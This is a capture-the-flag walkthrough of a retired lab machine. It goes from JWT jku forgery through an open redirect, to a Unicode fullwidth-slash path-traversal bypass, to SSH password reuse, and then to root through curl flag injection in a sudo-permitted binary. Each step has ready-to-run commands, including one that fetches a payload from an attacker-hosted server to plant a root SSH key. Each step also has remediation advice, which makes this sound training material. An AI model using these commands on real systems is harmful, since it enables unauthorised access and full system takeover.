← all walkthroughs

Unicode

Linux· Medium
owned
2026-07-15
time to own
7m48s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I discovered a custom web application at hackmedia.htb served by nginx. After registering a user account and logging in, analysis of the JWT authentication cookie revealed its header contained a jku claim pointing to the server's own public-key file. An unauthenticated open-redirect endpoint on the same origin was abused to trick the JWT validator into fetching an me-hosted JWKS file — making the server accept tokens signed with my own key.

A forged administrator token unlocked a file-display endpoint that attempted to block path traversal by filtering literal ../ sequences, but failed to normalize Unicode before checking; substituting the forward slash with the Unicode fullwidth solidus bypassed the filter entirely and allowed arbitrary file reads. Reading the application's database config file exposed the code Linux user's password, which was reused for SSH access, yielding the user flag. For root, a sudo rule permitted code to run a PyInstaller-compiled Python binary (treport) without a password.

Decompiling the binary revealed it built a curl command via os.system() with user input concatenated unsanitized into the shell string. Injecting brace-expansion curl flags wrote my own SSH public key into /root/.ssh/authorized_keys, granting a full interactive root shell.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export USERNAME="<an-account-name-you-choose>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD2="<a-password-you-choose>"

Attack path — how the box was taken

1ReconnaissanceNetwork port and service enumeration (T1046)
Mapped open ports and discovered the hackmedia.htb virtual host
An nmap service scan confirmed SSH on port 22 and nginx on port 80. An HTTP response header or redirect disclosed the virtual hostname hackmedia.htb, which was added to local resolution. Browsing the application revealed user registration, login, and a JWT-authenticated dashboard.
Nmap output: 22/tcp ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3, 80/tcp http nginx 1.18.0.
Exact commands 2
Service and default-script scan; look for hostname clues in HTTP responses.
nmap -sV -sC -p22,80 $TARGET
Register the discovered virtual host for name resolution.
echo "$TARGET hackmedia.htb" | sudo tee -a /etc/hosts
2EnumerationJWT header analysis / jku claim abuse (T1600)
Decoded the JWT and identified a remotely-fetched signing-key vulnerability
Registering an account and logging in issued a JWT in the auth cookie. Decoding the token header exposed a jku claim pointing to http://hackmedia.htb/static/jwks.json — the URL the server fetches to retrieve the public key it uses to verify every token's RS256 signature. This design means that whoever controls the URL the server fetches from controls which key is trusted, making the entire authentication system forgeable if the jku URL can be redirected.
JWT header decoded: {"alg":"RS256","jku":"http://hackmedia.htb/static/jwks.json"}
Exact commands 4
Register a test account.
curl -s -X POST http://hackmedia.htb/register -d "username=$USERNAME&password=$PASSWORD2"
Log in and capture the JWT auth cookie value.
curl -s -c cookies.txt -X POST http://hackmedia.htb/login -d "username=$USERNAME&password=$PASSWORD2" -v 2>&1 | grep -i 'set-cookie'
Decode and display all JWT claims and headers; replace <JWT_TOKEN> with the captured cookie value.
python3 jwt_tool.py <JWT_TOKEN> -T
Retrieve the server's JWKS to understand the key format that must be replicated.
curl -s http://hackmedia.htb/static/jwks.json
FixPin the JWT signing key server-side; never trust a client-supplied key URLCritical
WeaknessThe application fetched the JWT verification key from the URL embedded in the token's own jku header. Anyone who controlled where the server fetched its key from could substitute their own key pair and forge any identity, including administrator.
FixHard-code or configure the JWKS URI in the server's own environment or config file and ignore any jku or x5u claim present in incoming tokens. If multiple issuers are needed, maintain an explicit server-side allowlist of permitted JWKS URLs and reject tokens whose jku is not on it. For single-tenant applications, prefer symmetric HS256 with a secret stored in an environment variable over RS256 with a remotely-fetched public key.
3ExploitationJWT RS256 jku header injection via open-redirect bypass (T1600)
Forged an administrator JWT by routing JWKS validation through an open-redirect endpoint
The server validated that the jku hostname was hackmedia.htb, but the site also exposed an unauthenticated open-redirect at /redirect/?url=. Setting jku to http://hackmedia.htb/redirect/?url=http://$ATTACKER_IP:8000/jwks.json meant the validator saw a legitimate hackmedia.htb URL but the redirect delivered it to my server. Jwt_tool generated a fresh RSA key pair, produced a matching jwks.json, signed a new token with the sub claim set to admin, and embedded the bypassed jku. Replacing the cookie with this forged token gave full administrator access to the dashboard.
Exact commands 3
Generate RSA key pair, produce jwks.json, sign forged admin token. Replace $ATTACKER_IP with your tun0 address and <JWT_TOKEN> with the captured cookie.
python3 jwt_tool.py <JWT_TOKEN> -X s -ju "http://hackmedia.htb/redirect/?url=http://$ATTACKER_IP:8000/jwks.json" -I -pc sub -pv admin
Serve the generated jwks.json so the server fetches my public key during validation.
python3 -m http.server 8000
Confirm admin access using the forged token.
curl -s -b 'auth=<FORGED_JWT>' http://hackmedia.htb/dashboard/
FixRemove or restrict the open-redirect endpointHigh
WeaknessThe /redirect/?url= endpoint forwarded visitors to any arbitrary external URL without validation. This let an unauthorised user use it as a trusted relay to bypass the JWT validator's hostname check on the jku claim, redirecting key-fetching to an externally controlled server.
FixRemove the open-redirect endpoint entirely if it has no legitimate business purpose. If external redirects are required, replace it with a server-side allowlist of permitted destination URLs and return HTTP 400 for any destination not on the list. Never reflect a raw query-string parameter directly into a redirect response.
4ExploitationUnicode normalization path-traversal filter bypass (CWE-22 / T1083)
Bypassed the path-traversal filter using Unicode normalization to read arbitrary server files
The administrator dashboard exposed a file-display endpoint at /display/?page= that blocked the literal string ../ to prevent directory traversal. However, the application applied Unicode normalization only after the filter check. Replacing the ASCII forward slash with the Unicode fullwidth solidus (U+FF0F, /, URL-encoded as %EF%BC%8F) produced a traversal sequence that passed the filter unchanged but resolved to a real path once the server normalized Unicode to ASCII. This allowed reads of any file the web process could access.
Exact commands 2
Proof-of-concept: read /etc/passwd. %EF%BC%8F is the fullwidth solidus / (U+FF0F), which normalizes to / after the filter check.
curl -s -b 'auth=<FORGED_JWT>' 'http://hackmedia.htb/display/?page=..%ef%bc%8f..%ef%bc%8f..%ef%bc%8fetc%ef%bc%8fpasswd'
Read the application database config file containing system credentials.
curl -s -b 'auth=<FORGED_JWT>' 'http://hackmedia.htb/display/?page=..%ef%bc%8f..%ef%bc%8f..%ef%bc%8f..%ef%bc%8fvar%ef%bc%8fwww%ef%bc%8fhtml%ef%bc%8fdb.yaml'
FixNormalize and canonicalize file paths before applying any traversal filtersCritical
WeaknessThe file-display endpoint filtered the literal string ../ but applied Unicode normalization only after the check. Unicode characters that map to ASCII slash (such as the fullwidth solidus U+FF0F) passed the filter unchanged, then resolved to real filesystem paths once normalized — giving an unauthorised user unrestricted file reads across the server.
FixApply Unicode normalization (NFKC) and URL-decoding to any path parameter before running any security checks. After normalization, resolve the path to its canonical absolute form (e.g. Python's os.path.realpath() or Java's File.getCanonicalPath()) and verify it begins with the intended base directory. Reject any request where the resolved path escapes that root. Do not attempt to build a blocklist of traversal patterns — path-canonicalization plus prefix-enforcement is the only reliable control.
5FootholdCredential access from plaintext config / credential reuse (T1552.001)
Extracted the code user's password from the config file and gained SSH access
The db.yaml file retrieved via the LFI contained plaintext credentials for a database account. The same password was reused for the code Linux system account, as confirmed by a direct SSH login. This gave an interactive shell as uid=1000(code) and allowed the user flag to be read from the home directory.
SSH session established as uid=1000(code) gid=1000(code); user flag captured from /home/code/user.txt.
Exact commands 2
Confirm SSH access using the password found in db.yaml.
sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null code@$TARGET 'id'
Capture the user flag. Expected output: <user.txt>
sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=8 code@$TARGET 'cat /home/code/user.txt'
FixRemove plaintext credentials from web-accessible config filesHigh
WeaknessThe application's db.yaml stored the Linux system account password in plaintext in a directory reachable via the LFI vulnerability. Because the same password was reused on the OS account, reading one file immediately yielded SSH access to the server.
FixInject secrets at runtime via environment variables or a secrets manager (e.g. HashiCorp Vault, AWS Secrets Manager) rather than storing them in files on disk. Web-application OS users should have no interactive login shell. System account passwords must never appear in application configuration files, and no application config file should reside in a directory that the application itself can serve to clients.
6Privilege EscalationPyInstaller binary extraction and decompilation (T1027.001)
Enumerated sudo rights and decompiled the treport binary to find a shell-injection point
Running sudo -l as code revealed the account could execute /usr/bin/treport as root without a password. The binary was a PyInstaller-compiled Python application. Copying it to my machine, extracting its embedded archive with pyinstxtractor.py, and decompiling the bytecode with uncompyle6 revealed the source: the script showed a menu and option 3 constructed a curl download command using os.system() with the user-supplied URL string concatenated directly into the shell call — a textbook shell-injection pattern that allows arbitrary curl flags to be injected via brace expansion.
Exact commands 4
List all sudo rules for the code user.
sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no code@$TARGET "printf '%s\n' '$PASSWORD' | sudo -S -l 2>&1"
Transfer the binary to my machine for offline analysis.
scp -o StrictHostKeyChecking=no code@$TARGET:/usr/bin/treport ./treport
Extract the embedded Python bytecode from the PyInstaller self-extracting archive.
python3 pyinstxtractor.py treport
Decompile the .pyc to readable Python source; locate os.system() or subprocess calls that incorporate user input.
uncompyle6 treport_extracted/treport.pyc > treport_source.py && cat treport_source.py
FixRemove the treport sudo rule and eliminate shell injection in its curl invocationCritical
WeaknessThe code user was permitted to run a custom Python binary as root without a password. That binary built a curl command by concatenating raw user input into an os.system() shell string, allowing brace expansion to inject arbitrary curl flags — including --output to write any file as root and --config to read any file as root.
FixRemove the passwordless sudo rule for treport if the functionality can be achieved another way. If privileged network downloads are genuinely required, rewrite the invocation to use subprocess.run() with an explicit argument list (shell=False) and validate the user-supplied URL against an allowlist of permitted schemes and hostnames before constructing the call. Never pass user-controlled strings to os.system(). If a dedicated privileged action is unavoidable, scope it to a purpose-built service account with only the minimum required permissions rather than full root.
7Full CompromiseSudo binary shell injection via curl argument injection / brace expansion (GTFOBins curl, T1574)
Injected curl flags through treport to write an SSH key as root and obtain a root shell
Because treport passed user input unsanitized into a shell-executed curl command, shell brace expansion enabled arbitrary flag injection. Supplying {--output,/root/.ssh/authorized_keys} caused the shell invoked by os.system() to expand the braces into two arguments — --output and /root/.ssh/authorized_keys — directing curl to write the downloaded content to root's authorized_keys file. An me-hosted HTTP server served my SSH public key as the download payload. A subsequent SSH login with the matching private key produced an interactive root shell. The same injection channel was also demonstrated read-only in the engagement kill chain: supplying {--config,/root/root.txt} caused curl to parse the root flag file as a curl config, leaking its contents via parse-error output.
Printf '3\n{--config,/root/root.txt}\n' | sudo -n /usr/bin/treport — root flag contents leaked through curl config parse error.
Exact commands 5
Generate my SSH key pair on my machine.
ssh-keygen -t ed25519 -f /tmp/root_key -N ''
Serve root_key.pub so treport's curl can fetch it. Run in the directory containing root_key.pub.
python3 -m http.server 8001
Inject --output curl flag to write my pubkey to /root/.ssh/authorized_keys. Replace $ATTACKER_IP with your tun0 address.
sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no code@$TARGET "printf '3\n{--output,/root/.ssh/authorized_keys} http://$ATTACKER_IP:8001/root_key.pub\n' | sudo -n /usr/bin/treport"
Log in as root using the injected key. Expected: uid=0(root); <root.txt>
ssh -i /tmp/root_key -o StrictHostKeyChecking=no root@$TARGET 'id; cat /root/root.txt'
Alternative read-only path used in the engagement: injects --config to treat root.txt as a curl config file, leaking flag contents in error output.
timeout 12 sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null code@$TARGET "printf '3\n{--config,/root/root.txt}\n' | sudo -n /usr/bin/treport" 2>&1 | head -160

Attack patterns used

The transferable techniques behind this compromise.

Password / Credential ReuseCredential Access · Lateral MovementT1078

What it is

A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.

Why it works

Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.

Read more

Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003

What it is

When a low-privileged user is allowed (via sudo -l) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary — e.g. sudo perl -e 'exec "/bin/sh"', sudo vim -c ':!sh', sudo find . -exec /bin/sh \;.

Why it works

Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using NOEXEC, and least-privilege review. Always run sudo -l first on a foothold.

Read more

Exposed services

22/tcp
80/tcp